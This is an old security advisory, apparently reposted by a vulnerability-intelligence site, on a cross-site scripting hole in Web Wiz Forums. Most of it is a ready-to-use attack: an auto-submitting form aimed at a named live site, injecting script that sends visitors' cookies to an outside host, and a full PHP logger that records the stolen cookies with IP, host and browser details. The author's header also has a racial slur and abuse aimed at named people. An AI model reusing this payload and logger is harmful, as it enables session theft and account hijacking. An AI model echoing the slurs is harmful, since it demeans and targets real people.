Lucene search

WebWizXSS.txt

🗓️ 24 Aug 2005 00:00:00Reported by sirh0tType

packetstorm🔗 packetstormsecurity.com👁 17 Views

Bug in Web Wiz Forums for cookie stealin

`Bug : XSS in Web Wiz Forums (cookie stealing)  
Bug founded by : [email protected] <mailto:[email protected]>  
Comment : I found this bug in +- 1 hour after some bitch asked me to  
help him, but he haven't do shit LOL  
Greets to : HaCkZaTaN, Johnnie Walker, Morinex, j0ker, Woopie, siLgi, bcuzZ.  
Big Fuck to : cobradrive, 0x1fe (eric I hope the nigga's fuck ur ass in  
US jail)  
  
PoC XSS Page :  
  
<body onLoad="jack();">  
<form name="XSS" method="POST"  
action="http://www.tahribat.com/RTE_image_window.asp">   
<input type="hidden" name="URL" value='"></script><script>location.href  
= "http://members.lycos.co.uk/thoronnn/sirh0t.php?w00t=" +  
document.cookie + "";</script>'>  
<input type="hidden" name="Alt" value="">  
<input type="hidden" name="align" value="">   
<input type="hidden" name="border" value="">  
<input type="hidden" name="hoz" value="">  
<input type="hidden" name="vert" value="">  
</form>  
<script>  
function jack()  
{  
document.XSS.submit();   
}  
</script>  
  
  
PHP Logger :  
  
<?  
  
$logBestand="jacked.txt";  
  
$cookie = $HTTP_GET_VARS["w00t"];  
$cookie = rawurldecode($cookie);  
  
$Datum = date("d-m / H:i:s");  
$IPadres = $_SERVER['REMOTE_ADDR'];  
$Hostnaamnaam = gethostbyaddr($_SERVER['REMOTE_ADDR']);  
$http_browser = getenv("HTTP_USER_AGENT");  
//OS  
if (preg_match("/windows nt 5.1/i",$http_browser)) $Operating_system =  
"Windows XP";  
if (preg_match("/windows xp/i",$http_browser)) $Operating_system =  
"Windows XP";  
if (preg_match("/linux/i",$http_browser)) $Operating_system = "Linux";  
if (preg_match("/macintosh/i",$http_browser)) $Operating_system =  
"Macintosh";  
if (preg_match("/win 9x 4.90/i",$http_browser)) $Operating_system =  
"Windows Me";  
if (preg_match("/windows me/i",$http_browser)) $Operating_system =  
"Windows Me";  
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =  
"Windows 2000";  
if (preg_match("/windows 2000/i",$http_browser)) $Operating_system=  
"Windows 2000";  
if (preg_match("/windows nt 3.1/i",$http_browser)) $Operating_system =  
"Windows 3.1";  
if (preg_match("/windows nt 3.5.0/i",$http_browser)) $Operating_system =  
"Windows NT 3.5";  
if (preg_match("/windows nt 3.5.1/i",$http_browser)) $Operating_system =  
"Windows NT 3.5.1";  
if (preg_match("/windows nt 4.0/i",$http_browser)) $Operating_system =  
"Windows NT 4.0";  
if (preg_match("/windows 98/i",$http_browser)) $Operating_system =  
"Windows 98";  
if (preg_match("/windows 95/i",$http_browser)) $Operating_system =  
"Windows 95";  
if (preg_match("/sunos/i",$http_browser)) $Operating_system = "SunOS";  
if (preg_match("/windows nt 5.0/i",$http_browser)) $Operating_system =  
"Windows 2000";  
if ($Operating_system == "") $Operating_system = "Onbekend";  
//browsers  
if (preg_match("/Opera/i",$http_browser)) $browser = "Opera";  
if (preg_match("/MSIE 6/i",$http_browser)) $browser = "Internet Explorer 6";  
if (preg_match("/MSIE 5.5/i",$http_browser)) $browser = "Internet  
Explorer 5.5";  
if (preg_match("/MSIE 5.0/i",$http_browser)) $browser = "Internet  
Explorer 5";  
if (preg_match("/MSIE 4/i",$http_browser)) $browser = "Internet Explorer 4";  
if (preg_match("/Netscape/7.0/i",$http_browser)) $browser = "Netscape 7";  
if (preg_match("/Mozilla/5.0/i",$http_browser)) $browser = "Netscape 6";  
if (preg_match("/Mozilla/4.7/i",$http_browser)) $browser = "Netscape 4.7";  
if (preg_match("/Mozilla/4.6/i",$http_browser)) $browser = "Netscape 4.6";  
if (preg_match("/Mozilla/4.5/i",$http_browser)) $browser = "Netscape 4.5";  
if (preg_match("/rv:1.4/i",$http_browser)) $browser = "Mozilla 1.4";  
if (preg_match("/rv:1.5a/i",$http_browser)) $browser = "Mozilla 1.5a";  
if (preg_match("/rv:1.5/i",$http_browser)) $browser = "Mozilla 1.5";  
if (preg_match("/Galeon/i",$http_browser)) $browser = "Galeon";  
if (preg_match("/Konqueror/i",$http_browser)) $browser = "Konqueror";  
if ($browser == "") $browser = "Onbekend";  
  
$loggen=fopen($logBestand, "a");  
fwrite($loggen, "Datum / Tijd : $Datum\r\nIP-adres :  
$IPadres\r\nHostnaam : $Hostnaamnaam\r\nBesturingssysteem :  
$Operating_system\r\nBrowser : $browser\r\nCookie :  
$cookie\r\n==========\r\n");  
  
fclose($loggen);  
  
header("Location: http://www.tahribat.com");  
?>  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

24 Aug 2005 00:00Current

7.4High risk

Vulners AI Score7.4